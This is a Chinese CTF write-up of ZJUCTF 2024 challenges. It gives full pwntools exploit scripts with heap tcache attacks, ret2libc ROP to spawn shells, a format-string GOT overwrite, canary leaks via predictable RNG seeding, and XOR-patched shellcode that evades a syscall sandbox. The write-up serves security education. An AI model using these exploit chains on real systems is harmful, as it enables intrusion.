本次校赛题目质量不错,难度设置比较合适,属于是看到感觉可以试一试的程度。其中*A口算很有趣!强烈推荐!!!

MISC

小A口算

该题目会随机生成20以内的数字比较,可以构造脚本在1分钟内刷够足够分数,从而获取flag

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *

context(arch='amd64', log_level='debug')

# p = process('./arithmetic')
p = remote('127.0.0.1', 38981)

p.recvuntil("Input your choice:")
p.sendline('1')

p.recvuntil('Try your best to answer questions as much as possible!\n')
for i in range(150):
p.recvline()
challenge = (p.recvline()).decode(encoding='utf-8')
v1 = challenge.split('?')
v1[0] = int(v1[0])
v1[1] = int(v1[1])

info(v1)

if v1[0] == v1[1]:
p.sendlineafter("input '>', '<' or '=' :", '=')
elif v1[0] > v1[1]:
p.sendlineafter("input '>', '<' or '=' :", '>')
else:
p.sendlineafter("input '>', '<' or '=' :", '<')
p.recvuntil("Correct! Your score is")
p.recvline()

p.interactive()

成功获取flag: ZJUCTF{WoW_K1n6_0F_5h0-g4Ku-s31_4r1thm3t1c}

PWN

cake_bot

保护全开,libc版本2.34
其中保存了两个列表(或者说一个结构体列表),列表长度限制为16

  • cake_list: 保存malloc的cake地址
  • cake_size_list: 保存cake的size

其中定义了Add,Show, Delete函数

  • Add函数:申请新的cake,可以选择存放在列表的index,申请前检查index是否超过16,或者申请size是否不为0;然后定义cakesize,malloc对应大小的cake,然后读取对应大小的输入。
  • Show函数:检查对应index的cake内容;
  • Delete函数:释放对应的index的cake,这里没有将cake_list对应index堆地址置0,而且将size置0,因此可以delete后add该index。之后就可以泄露libc等内容。

思路:通过unsortedbin attack泄漏libc地址,也可以通过tcachebin泄露heap地址,还可以通过house of botcake获取栈environ地址。接下来就是通过house of botcake构造rop写入栈返回地址了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
from pwn import *

context(arch='amd64', log_level='debug', terminal=['tmux', 'splitw', '-h'])


def add(index, size, payload):
p.sendlineafter("Your choice: ", '1')
p.sendlineafter("Choose a box to pack the cake:\n", str(index))
p.sendlineafter("Input size of shipping address:\n", str(size))
p.sendlineafter("Input your address:\n", payload)

def show(index):
p.sendlineafter("Your choice: ", '3')
p.sendlineafter("Input index of box to check:\n", str(index))

def delete(index):
p.sendlineafter("Your choice: ", '2')
p.sendlineafter("Input index of box to send:\n", str(index))


# p = process('./cakebot')
p = remote('127.0.0.1', 44907)
# gdb.attach(p, "b *$rebase(0x0000000000001346)")
# chunk0 index0
add(0, 0x100, flat(b'a'*0x10))
delete(0)

# chunk0 index0
add(0, 0x100, flat(b''))

# chunk1 index1
add(1, 0x100, flat(b''))
add(2, 0x100, flat(b''))
add(3, 0x100, flat(b''))
add(4, 0x100, flat(b''))
add(5, 0x100, flat(b''))
add(6, 0x100, flat(b''))
add(7, 0x100, flat(b''))
add(8, 0x100, flat(b''))
add(9, 0x20, flat(b''))
delete(0)
delete(1)
delete(2)
delete(3)
delete(4)
delete(5)
delete(6)
delete(7)
delete(8)
add(0, 0x100, flat(b''))
add(1, 0x100, flat(b''))
add(2, 0x100, flat(b''))
add(3, 0x100, flat(b''))
add(4, 0x100, flat(b''))
add(5, 0x100, flat(b''))
add(6, 0x100, flat(b''))
add(7, 0x200, flat(b''))
delete(8)
show(7)
p.recvuntil("This box will be sent to:\n\x00")
libc_addr = u64(p.recv(6).ljust(8, b'\x00')) - 0x203d0a
info(f'libc_addr: {hex(libc_addr)}')

p.recv(0x110-6)
heap_addr = u64(p.recv(6).ljust(8, b'\x00')) * 0x1000
info(f'heap_addr: {hex(heap_addr)}')

environ_addr = (libc_addr + 0x20ad58 - 0x38) ^ (heap_addr // 0x1000)
info(f'environ_addr: {hex(environ_addr)}')

# house of botcake tcache attack to leak stack_addr
delete(7)
add(7, 0x100, flat(b''))
add(8, 0x100, flat(b''))
delete(9)
add(9, 0x100, flat(b''))
add(10, 0x20, flat(b''))
delete(0)
delete(1)
delete(2)
delete(3)
delete(4)
delete(5)
delete(6)
delete(8)
delete(9)
add(0, 0x100, flat(b''))
add(1, 0x100, flat(b''))
add(2, 0x100, flat(b''))
add(3, 0x100, flat(b''))
add(4, 0x100, flat(b''))
add(5, 0x100, flat(b''))
delete(9)
add(8, 0x200, flat(b'a'*0x100, 0x110, 0x110, environ_addr))
add(15, 0x100, flat(b''))
add(14, 0x100, flat(b''))

add(9, 0x100, flat(b''))
show(14)
p.recvuntil("This box will be sent to:\n\x00")
p.recv(0x38)

stack_addr = (u64(p.recv(6).ljust(8, b'\x00'))-0x28-0x120) ^ (heap_addr // 0x1000 + 1)
info(f"stack_addr: {hex(stack_addr)}")

# house of botcake to modify rbp+8
add(6, 0x100, flat(b''))
delete(8)
delete(9)
add(8, 0x100, flat(b''))
add(9, 0x100, flat(b''))
delete(10)
add(10, 0x100, flat(b''))
add(11, 0x30, flat(b''))
delete(0)
delete(1)
delete(2)
delete(3)
delete(4)
delete(5)
delete(6)
delete(9)
delete(10)
add(0, 0x100, flat(b''))
add(1, 0x100, flat(b''))
add(2, 0x100, flat(b''))
add(3, 0x100, flat(b''))
add(4, 0x100, flat(b''))
add(5, 0x100, flat(b''))
# add(6, 0x100, flat(b''))
delete(10)
add(9, 0x200, flat(b'a'*0x100, 0x110, 0x110, stack_addr))
pause()
add(12, 0x200, flat(b'a'*0x100, 0x110, 0x110, stack_addr))
add(10, 0x100, flat(b''))

libc = ELF('./libc.so.6')
pop_rdi_rbp = 0x000000000002a873+libc_addr
bin_sh_addr = 0x00000000001cb42f+libc_addr
system_addr = libc.sym['system']+libc_addr

payload = flat(0, pop_rdi_rbp, bin_sh_addr, 0, system_addr)
add(13, 0x100, payload)

p.interactive()

获取到flag: ZJUCTF{C4ke_8ot?_8otC4ke!}

easy rop

存在栈溢出,通过泄漏libc和程序基址后获取shell。中间返回到main函数时需要考虑栈平衡,不过由于payload长度不够,所以最后将返回地址改为start函数,得解。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *
import random
from LibcSearcher import *

context(arch='amd64', log_level='debug', terminal=['tmux', 'splitw', '-h'])

# p = process('./rop')
# gdb.attach(p, "b *$rebase(0x00000000000008A9)")
p = remote("127.0.0.1", 46799)
# ret2libc
elf = ELF('./rop')
printf_plt = elf.plt['printf']
printf_got = elf.got['printf']
read_addr = 0x00000000000007da
main_addr = 0x00000000000008AB
start_addr = 0x00000000000006D0
# read_addr = int(input(), 16)
# 可以通过printf泄漏基址
payload = flat('SJTU', b'a'*(0x30-4), b'b'*0x8, p16(start_addr))
p.sendafter('Print Your name please: ', payload)
p.recvuntil(b'b'*8)
base_addr = u64(p.recv(6).ljust(8, b'\x00'))-0x6d0
info(f'base_addr: {hex(base_addr)}')
assert base_addr >= 0x1000000
# 泄漏libc
pop_rdi = 0x963+base_addr
read_addr = 0x7da+base_addr
start_addr += base_addr
printf_got += base_addr
printf_plt += base_addr
ret_addr = 0x8fb+base_addr
payload = flat("SJTU", b'a'*(0x30-4), b'b'*0x8, pop_rdi, printf_got, ret_addr, printf_plt, start_addr)

p.sendafter('Print Your name please: ', payload)
p.recvline()

printf_addr = u64(p.recv(6).ljust(8, b'\x00'))
info(f'printf_addr: {hex(printf_addr)}')

# libc_addr = printf_addr-(0x7fb0075b7e80- 0x7fb007553000)

libc = LibcSearcher("printf", printf_addr)
libc_addr = printf_addr-0x64e40
info(f'libc_addr: {hex(libc_addr)}')

# 构造system()
# libc = ELF('./libc-2.27.so')
system_addr = 0x4f420 + libc_addr
bin_sh_addr = 0x1b3d88 + libc_addr
# system_addr = libc_addr+libc.dump("system")
# bin_sh_addr = libc_addr+libc.dump("str_bin_sh")
payload = flat("SJTU", b'a'*(0x30-4), b'b'*0x8, pop_rdi, bin_sh_addr, ret_addr, system_addr)
p.sendlineafter('Print Your name please: ', payload)

p.interactive()

得到flag: ZJUCTF{@n_1a$y_R0p_cHalL_1N_x64|A7hdJk5wN7}

大 A 口算

首先通过已知种子为2010年的同一时间,可以预测出所有题目。

漏洞点

通过每次写满s变量,可以每次增加1字节,从而达到泄漏canary,partial write跳转到打印flag的函数即可。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
from pwn import *
import time
import random
from ctypes import *
from datetime import datetime

context(arch='amd64', log_level='debug', terminal=['tmux', 'splitw', '-h'])

# 获取当前时间
current_time = datetime.now()

# 打印当前时间及时间戳
print("当前时间:", current_time)
current_timestamp = int(time.mktime(current_time.timetuple()))
print("当前时间戳:", current_timestamp)
# 修改年份为 2010 年
modified_time = current_time.replace(year=2010)
# 获取修改后年份的时间戳
timestamp = int(time.mktime(modified_time.timetuple()))

p = remote('127.0.0.1', 38911)
# p = process('./arithmetic')
# gdb.attach(p, 'b *$rebase(0x0000000000001B36)')
seed = timestamp
# seed = current_timestamp

p.recvuntil("Input your choice:")
p.sendline('3')


libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
# 推测出正确的timestamp

# guess = random.randint(0, 2)
guess = 0
info(f"guess: {guess}")
info(f"seed+guess: {seed+guess}")
seed_correct = False
libc.srand(seed+guess)
# 生成一个随机数(类似rand())
def generate_challenge():
v1 = libc.rand() % 20 + 1 # C的rand()通常生成0到RAND_MAX之间的值,RAND_MAX = 2^31-1
v2 = libc.rand() % 20 + 1
# info(f"question:\t {v1} ? {v2} ")
return v1, v2

answer = ''
p.recvuntil("\nNow guess the answer, I'll correct your answer:")
for i in range(256):
v1 = [0, 0]
v1[0], v1[1] = generate_challenge()

if v1[0] == v1[1]:
answer += '='
elif v1[0] > v1[1]:
answer += '>'
else:
answer += '<'
info(f'answer: {answer}')
p.send(answer)
p.recvuntil("\nchecking answers...\n")
p.recvuntil("\nOK! ")
score = int(p.recv(3).decode(encoding='utf-8'))
info(score)
if score == 256:
seed_correct = True
else:
raise ValueError("guess in not correct")

answer = ''
for i in range(256):
v1[0], v1[1] = generate_challenge()
if v1[0] == v1[1]:
answer += '='
elif v1[0] > v1[1]:
answer += '>'
else:
answer += '<'
info(f"answer: {answer}")
p.sendafter("Now guess the answer, I'll correct your answer:", answer)
p.recvuntil("\nchecking answers...\n")
p.recvuntil("\nOK! ")

# step 3: 增加size值 256->257

for j in range(8):
answer = ''
for i in range(257+j):
v1[0], v1[1] = generate_challenge()
if v1[0] == v1[1]:
answer += '='
elif v1[0] > v1[1]:
answer += '>'
else:
answer += '<'
info(f"answer: {answer}")
p.sendafter("Now guess the answer, I'll correct your answer:", answer)
p.recvuntil("\nchecking answers...\n")
p.recvuntil("\nOK! ")
# size: 257->258
answer = ''
for i in range(257+j):
v1[0], v1[1] = generate_challenge()
if v1[0] == v1[1]:
answer += '='
elif v1[0] > v1[1]:
answer += '>'
else:
answer += '<'
info(f"answer: {answer}")
p.sendafter("Now guess the answer, I'll correct your answer:", answer)
p.recvuntil("\nchecking answers...\n")
p.recvuntil("\nOK! ")

# leak canary
p.recvuntil(answer)
canary = u64(p.recv(8)) - 0xa
info(f"canary: {hex(canary)}")

# step 4: leak base_addr
for j in range(3):
answer = ''
for i in range(277+j):
v1[0], v1[1] = generate_challenge()
if v1[0] == v1[1]:
answer += '='
elif v1[0] > v1[1]:
answer += '>'
else:
answer += '<'
info(f"answer: {answer}")
p.sendafter("Now guess the answer, I'll correct your answer:", answer)
p.recvuntil("\nchecking answers...\n")
p.recvuntil("\nOK! ")
# size: 257->258
answer = ''
for i in range(277+j):
v1[0], v1[1] = generate_challenge()
if v1[0] == v1[1]:
answer += '='
elif v1[0] > v1[1]:
answer += '>'
else:
answer += '<'
info(f"answer: {answer}")
p.sendafter("Now guess the answer, I'll correct your answer:", answer)
p.recvuntil("\nchecking answers...\n")
p.recvuntil("\nOK! ")

p.recvuntil(answer)
p.recvline()
base_addr = u64(p.recv(6).ljust(8, b'\x00')) - 0x2150
info(f"base_addr: {hex(base_addr)}")

# step 5: overflow to jump to $rebase(0x0000000000001F9F)
puts_addr = 0x1F9F
for j in range(2):
answer = ''
for i in range(285+j):
v1[0], v1[1] = generate_challenge()
if v1[0] == v1[1]:
answer += '='
elif v1[0] > v1[1]:
answer += '>'
else:
answer += '<'
info(f"answer: {answer}")
p.sendafter("Now guess the answer, I'll correct your answer:", answer)
p.recvuntil("\nchecking answers...\n")
p.recvuntil("\nOK! ")
# size: 257->258
answer = ''
for i in range(285+j):
v1[0], v1[1] = generate_challenge()
if v1[0] == v1[1]:
answer += '='
elif v1[0] > v1[1]:
answer += '>'
else:
answer += '<'
info(f"answer: {answer}")
p.sendafter("Now guess the answer, I'll correct your answer:", answer)
p.recvuntil("\nchecking answers...\n")
p.recvuntil("\nOK! ")

# pause()
puts_addr = base_addr + puts_addr
payload = flat(b'a'*0x100)
payload = flat('submit', b'='*(264-len('submit')), canary, 0, puts_addr)
p.sendafter("Now guess the answer, I'll correct your answer:", payload)
# p.sendlineafter('submit your score', "submit")

p.interactive()

得到flag: ZJUCTF{3veRY_7h1n9_1s_UNdEr_Y0uR_c0n7r0l!!}

simple echo

checksec查看保护机制:

1
2
3
4
5
6
[*] '/home/brownie/ctf/matches/2024 ZJUCTF/pwn/simple-echo-attachment/app'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

ida查看,发现存在格式化字符串漏洞和栈溢出漏洞

  • 首先可以通过格式化字符串漏洞获取libc基址
  • 然后通过格式化字符串漏洞将rop链写入返回地址

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
import random
from LibcSearcher import *

context(arch='amd64', log_level='debug', terminal=['tmux', 'splitw', '-h'])

# p = process('./app')
# gdb.attach(p, 'b *0x0000000000401351')
p = remote('127.0.0.1', 39667)
# 泄漏libc地址
payload = flat(b'%27$p')
p.sendlineafter('Dididi, I am a simple echo server!', payload)
p.recvuntil("Blala:0x")
libc_addr = int(p.recv(12), 16) - 0x29d90
info(f"libc_addr: {hex(libc_addr)}")

# 修改printf got地址
elf = ELF('./app')
printf_got = elf.got['printf']
libc = ELF('./libc.so.6')
system_addr = libc.sym['system']+libc_addr
bin_sh_addr = 0x00000000001d8698
pop_rdi_addr = 0x000000000002a3e5+libc_addr
low = system_addr & 0xffff
high = (system_addr >> 16) & 0xffff
info(f'system_addr: {hex(system_addr)}')
if low < high:
payload = flat(f'%{low-6}c%12$hn%{high-low}c%13$hn'.ljust(0x20-6), printf_got, printf_got+2)
else:
payload = flat(f'%{high-6}c%12$hn%{low-high}c%13$hn'.ljust(0x20-6), printf_got+2, printf_got)
p.sendline(payload)

sleep(1)
p.sendline("; /bin/sh\x00")

p.interactive()

得到flag: ZJUCTF{f0rMAt_5TR1Ng_bU9_iS_O1D_8uT_c001|0335}

sandbox

禁用了execve系统调用,并且不允许syscall(\x0f\x05)字节出现,同时还没有给出flag的文件名。

  1. 通过先传入\x0f\x03,然后将其与\x06异或即可得到syscall。
  2. 通过getdents64系统调用获取到目标flag文件名
  3. 通过orw获取flag内容

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
from pwn import *

context(arch='amd64', log_level='debug', terminal=['tmux', 'splitw', '-h'])

# p = process('./pwn')
# gdb.attach(p, "b *$rebase(0x00000000000014BF)")
p = remote('127.0.0.1', 36007)

# shellcode = asm("""
# .section .shellcode,"awx"
# .global _start
# .global __start
# _start:
# __start:
# .intel_syntax noprefix
# .p2align 0
# /* open(file='/', oflag=0, mode=0) */
# /* push b'/\x00' */
# push rdx
# push 0x2f
# mov rdi, rsp
# xor edx, edx /* 0 */
# xor esi, esi /* 0 */
# /* call open() */
# push 2 /* 2 */
# pop rax
# /* syscall */
# mov r8, 0x6
# mov rdx, [rbp-0x20]
# xor word ptr [rdx+0x1e], 0x6
# """) + b"\x0f\x03" + asm("""
# /* getdents64(fd='rax', dirp='rsp', count=0x1000) */
# mov rdi, rax
# xor edx, edx
# mov dh, 0x1000 >> 8
# mov rsi, [rbp-0x20]
# add rsi, 0x100
# /* call getdents64() */
# xor eax, eax
# mov al, 217 /* 0xd9 */
# /* syscall */
# mov r8, 0x6
# mov rcx, [rbp-0x20]
# xor word ptr [rcx+0x46], 0x6
# """) + b"\x0f\x03" + asm("""
# /* write(fd=1, buf='rsp', n=0x1000) */
# push 1
# pop rdi
# xor edx, edx
# mov dh, 0x1000 >> 8
# mov rsi, [rbp-0x20]
# add rsi, 0x100
# /* call write() */
# push 1 /* 1 */
# pop rax
# /* syscall */
# mov r8, 0x6
# mov rcx, [rbp-0x20]
# xor word ptr [rcx+0x6d], 0x6
# """) + b"\x0f\x03"

# de27cb9335d01bb7576f00a72c13239d
shellcode = asm("""
.section .shellcode,"awx"
.global _start
.global __start
_start:
__start:
.intel_syntax noprefix
.p2align 0
/* open(file='/de27cb9335d01bb7576f00a72c13239d', oflag=0, mode=0) */
/* push b'/de27cb9335d01bb7576f00a72c13239d\x00' */
push rdx
push 0x64
mov rax, 0x3933323331633237
push rax
mov rax, 0x6130306636373537
push rax
mov rax, 0x6262313064353333
push rax
mov rax, 0x396263373265642f
push rax
mov rdi, rsp
xor edx, edx /* 0 */
xor esi, esi /* 0 */
/* call open() */
push 2 /* 2 */
pop rax
/* syscall */
mov r8, 0x6
mov rcx, [rbp-0x20]
xor word ptr [rcx+0x4a], 0x6
""") + b"\x0f\x03" + asm("""
/* call read('rax', 'rsp', 0x100) */
mov rdi, rax
xor eax, eax /* SYS_read */
xor edx, edx
mov dh, 0x100 >> 8
mov rsi, rsp
/* syscall */
mov r8, 0x6
mov rcx, [rbp-0x20]
xor word ptr [rcx+0x68], 0x6
""") + b"\x0f\x03" + asm("""
/* write(fd=0, buf='rsp', n='rax') */
mov rdi, 1 /* 0 */
mov rdx, rax
mov rsi, rsp
/* call write() */
push 1 /* 1 */
pop rax
/* syscall */
mov r8, 0x6
mov rcx, [rbp-0x20]
xor word ptr [rcx+0x8d], 0x6
""") + b"\x0f\x03"

p.sendlineafter('Input your shellcode:', shellcode)

p.interactive()

得到flag内容:ZJUCTF{M45ter_of_O_R_W}

REVERSE

rev beginner 1

基础逆向题:

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *

context(arch='amd64', log_level='debug', terminal=['tmux', 'splitw', '-h'])

p = process('./rev1')
temp = b'\x5a\x4b\x57\x46'
temp += b'\x58\x4b\x81\x79'
temp += b'\x6d\x7f\x69\x74'
temp += b'\x7f\x6c\x74\x84'
temp += b'\x7e\x70\x84\x7c'
temp += b'\x7b\x7d\x8a\x56\x95'

result = b''
i = 0
for t in temp:
result += p8(t - i)
i += 1
info(f"result: {result.hex()}")
p.sendline(result)

p.interactive()

得到flag: ZJUCTF{rev_is_fun_right?}

rev beginner 2

基础逆向题,通过模拟das指令进行逐字符爆破,得到flag

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from pwn import *

context(arch='amd64', log_level='debug', terminal=['tmux', 'splitw', '-h'])

p = process('./rev2')
gdb.attach(p, 'b *$rebase(0x00001336)')
v12 = b'\x3c\x1e\x23\x30'
v12 += b'\x52\x0d\x4d\x79'
v12 += b'\x42\x3d\x4f\xdb'
v12 += b'\xff\xb3\x2f\x00'
v12 += b'\x1f\x3e\x32\x4f'
v12 += b'\x52\x3e\xa3\xa4\x21\x8f'

v14 = b'\x75\x82\x9b\xd1'
v14 += b'\xf6\xbb\xa6\x36'
v14 += b'\xac\xe8\xb1\x7f'
v14 += b'\xb0\x67\xb8\x19'
v14 += b'\xb6\x3f\x38\x07'
v14 += b'\x2e\xbd\x83\x52\xf5\xff'

temp = b'\x8d\xa8\xcd\xe4'
temp += b'\xf8\xee\xce\xce'
temp += b'\xcf\x11\xbf\x6e'
temp += b'\xb8\xb9\x50\x4b'
temp += b'\xbe\x6d\x6b\x28'
temp += b'\x41\xeb\xf3\xb3\xf5\x87'

def das_simulation(a, b):
# 假设 a 和 b 都是16位的BCD值(输入为整数)
# 只考虑AL寄存器,即最低8位的操作

# 将两个数减法
result = a - b

# 取出低8位,模拟 AL 寄存器的效果
al = result & 0xFF
# info(al)

# 初始化 CF 和 AF 标志
cf = 0
af = 0

# 检查 AF(低4位超过9或者有借位时需要调整)
if (al & 0x0F) > 9 or ((a & 0x0F) < (b & 0x0F)):
al = (al - 6) & 0xFF # 修正低四位
af = 1 # 设置 AF 标志

# 检查 CF(高4位超过9或者有借位时需要调整)
if (al & 0xF0) > 0x90 or result < 0:
al = (al - 0x60) & 0xFF # 修正高四位
cf = 1 # 设置 CF 标志

return al, cf, af

result = b''
for i in range(26):
info(f'i : {i}')
for guess in range(256):
al, cf, af = das_simulation(guess, v12[i])
# info(f'al: {hex(al)}, cf: {cf}, af: {af}')
if (al + v14[i])&0xff == temp[i]:
info(f"guess: {hex(guess)} is correct")
result += p8(guess)
info(f"result: {result}")
break
if guess == 255:
result += b'*'
p.sendline(result)
p.interactive()

得到flag:ZJUCTF{welc0me-2-reverse!}

中 A 口算

其种子为2010年同一时间,因此可以预测所有的题目。

如图,只要存在answer,就会一直生成题目,因此可以一次输入足够长(0x1000长度)的答案,可以快速得分

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
from pwn import *
import time
import random
from ctypes import *
from datetime import datetime

context(arch='amd64', log_level='debug', terminal=['tmux', 'splitw', '-h'])
# 601681286521741824 ? 2198172281756103560
# p = process('./arithmetic')

# 指定日期(年-月-日 时:分:秒)
year = 2010
month = 10
day = 22
hour = 21
minute = 26
second = 0

# 创建 datetime 对象
dt = datetime(year, month, day, hour, minute, second)

# 获取时间戳
timestamp = int(time.mktime(dt.timetuple()))

p = remote('127.0.0.1', 37093)
seed = timestamp
# seed = 0
guess = -0x1
p.recvuntil("Input your choice:")
p.sendline('2')
p.recvuntil('Question Set:\n')

# get first challenge
challenge = (p.recvline()).decode(encoding='utf-8')
v2 = challenge.split('?')
v2[0] = int(v2[0])
v2[1] = int(v2[1])
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
for i in range(3600):
# 获取当前时间(秒级别)
guess += 1
info(f"guess: {guess}")
info(f"seed+guess: {seed+guess}")
seed_correct = False
# p = process('./arithmetic')
# gdb.attach(p, """
# b *$rebase(0x0000000000001858)
# b *$rebase(0x0000000000001994)""")
libc.srand(seed+guess)
# 生成一个随机数(类似rand())
def generate_challenge():
v1 = libc.rand() # C的rand()通常生成0到RAND_MAX之间的值,RAND_MAX = 2^31-1
v2 = libc.rand()
v3 = (v1 << 31) | v2 ^ libc.rand()
v4 = v2 | ((v1 ^ libc.rand()) << 31)
info(f"question:\t {v3} ? {v4} ")
return v3, v4

answer = ''
for i in range(10089):
v1 = [0, 0]
info(f"challenge:\t{v2[0]} ? {v2[1]} ")
v1[0], v1[1] = generate_challenge()
if i == 0:
if v2[0] == v1[0] and v2[1] == v1[1]:
info("correct")
pause()
seed_correct = True
else:
break

if v1[0] == v1[1]:
answer += '='
elif v1[0] > v1[1]:
answer += '>'
else:
answer += '<'
if seed_correct == False:
continue

info(f'answer: {answer}')
p.sendlineafter('submit your score', answer)
# break
# p.sendlineafter('submit your score', "submit")

p.interactive()

flag: ZJUCTF{5aK1-CHan's_k0k0r0_ls_5m4sh3d_oTATo}